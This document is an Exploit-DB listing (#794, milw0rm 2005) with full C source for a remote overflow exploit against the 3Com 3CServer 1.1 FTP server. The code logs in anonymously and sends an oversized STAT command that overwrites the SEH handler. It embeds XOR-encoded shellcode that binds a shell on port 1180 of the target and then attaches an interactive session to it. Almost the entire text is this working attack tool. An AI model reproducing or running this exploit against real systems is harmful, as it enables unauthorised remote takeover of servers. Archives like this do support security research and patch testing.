Exploit-DB #794
Description: 3CServer 1.1 (FTP Server) - Remote Overflow
Type: remote
Platform: windows
Date: 2005-02-07
Author: mandragore

Exploit:
/*

subject:	Proof of Concept exploit for 3CServer v1.1 FTP server
vendor:		3Com, http://support.3com.com/software/utilities_for_windows_32_bit.htm
`date`:		Mon Feb  7 18:10:01     2005
notes:		universal offset, SEH ptr overwriting with variation
author:		mandragore, mandragore@turingtest@gmail.com

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "3CServer v1.1.007" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 21
#define default_user "anonymous"
#define default_pass "weak@3com.com"

#define GPA 0x0045b968
#define LLA 0x0045b964

#define offset 0x418A19	// call eax

unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

static void start(void) __attribute__ ((constructor));

void start() {
	int gpa=GPA^0xdededede, lla=LLA^0xdededede;
	memcpy(bsh+0x1a,&gpa,4);
	memcpy(bsh+0x2b,&lla,4);
}

int readcrap(int s) {
	struct timeval tv;
	fd_set fds;
	int ret;
	char buff[1024];

	FD_ZERO(&fds);
	FD_SET(s,&fds);

	bzero(buff,sizeof(buff));

	while (1) {
		tv.tv_sec=1;
		tv.tv_usec=0;
		if ( ret=select(s+1, &fds, NULL, NULL, (struct timeval *)&tv) < 0 )
			break;
		if (FD_ISSET(s,&fds)) {
			// something to read
			if ( read(s,buff,sizeof(buff),0) < 1 )
				break;
		} else {
			// timeout
			return 1;
		}
	}

	return 0; // something went bad
}

void usage(char *argv0) {
	int i;

	printf("%s -d <host/ip> [opts]\n\n",argv0);

	printf("Options:\n");
	printf(" -h undocumented\n");
	printf(" -u user [default: " default_user "]\n");
	printf(" -p pass [default: " default_pass "]\n");
	printf(" -P <port> for the shellcode [default: 1180]\n");

	exit(1);
}

void shell(int s) {
	char buff[4096];
	int retval;
	fd_set fds;

	printf("[+] connected!\n\n");

	for (;;) {
		FD_ZERO(&fds);
		FD_SET(0,&fds);
		FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
			fatal("[-] shell.select()");

		if (FD_ISSET(0,&fds)) {
			if ((retval = read(1,buff,4096)) < 1)
				fatal("[-] shell.recv(stdin)");
			send(s,buff,retval,0);
		}

		if (FD_ISSET(s,&fds)) {
			if ((retval = recv(s,buff,4096,0)) < 1)
				fatal("[-] shell.recv(socket)");
			write(1,buff,retval);
		}
	}
}

int main(int argc, char **argv, char **env) {
	struct sockaddr_in sin;
	struct hostent *he;
	char *host; int port=default_port;
	char *Host; int Port=1180; char bindopt=1;
	int i,s;
	char *buff, *jmpback="\xe9\x35\xff\xff\xff";
	char *user=default_user; char *pass=default_pass;

	printf(BANNER "\n");

	if (argc==1)
		usage(argv[0]);

	for (i=1;i<argc;i+=2) {
		if (strlen(argv[i]) != 2)
			usage(argv[0]);

		switch(argv[i][1]) {
			case 'd':
				host=argv[i+1];
				break;
			case 'u':
				user=argv[i+1];
				break;
			case 'p':
				pass=argv[i+1];
				break;
			case 'P':
				Port=atoi(argv[i+1])?:1180;
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				memcpy(bsh+0x46,&Port,2);
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				break;
			case 'v':
				verbose++; i--;
				break;
			case 'h':
				usage(argv[0]);
			default:
				usage(argv[0]);
			}
	}

	if (verbose)
		printf("verbose!\n");

	if ((he=gethostbyname(host))==NULL)
		fatal("[-] gethostbyname()");

	sin.sin_family = 2;
	sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
	sin.sin_port = htons(port);

	printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
	printf("[.] will try to put a bindshell on port %d.\n",Port);

// --------------------  core

	s=socket(2,1,6);

	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] connect()");

	printf("[+] connected, sending exploit\n");

	buff=(char *)malloc(4096);
	bzero(buff,4096);

	readcrap(s);
	sprintf(buff,"USER %s\r\n",user);
	send(s,buff,strlen(buff),0);
	readcrap(s);
	sprintf(buff,"PASS %s\r\n",pass);
	send(s,buff,strlen(buff),0);
	readcrap(s);

	bzero(buff,sizeof(buff));
	strcpy(buff,"STAT ");
	memset(buff+5,0x41,2000);
	memcpy(buff+5+0x571-strlen(bsh),&bsh,strlen(bsh));
	memcpy(buff+5+0x571,jmpback,strlen(jmpback));
	i=offset;
	memcpy(buff+5+0x5d9,&i,4);

	send(s,buff,strlen(buff),0);
	readcrap(s);

	free(buff);

	close(s);

// --------------------  end of core

	sin.sin_port = htons(Port);
	sleep(1);
	s=socket(2,1,6);
	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] exploit most likely failed");
	shell(s);

	exit(0);
}

// milw0rm.com [2005-02-07]